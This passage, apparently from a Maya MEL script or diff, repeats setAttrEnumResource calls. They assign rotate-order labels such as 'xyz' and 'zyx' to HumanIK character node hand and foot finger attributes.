"yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex4RotateOrder", 6, "yxz" ); +setAttrEnumResource( 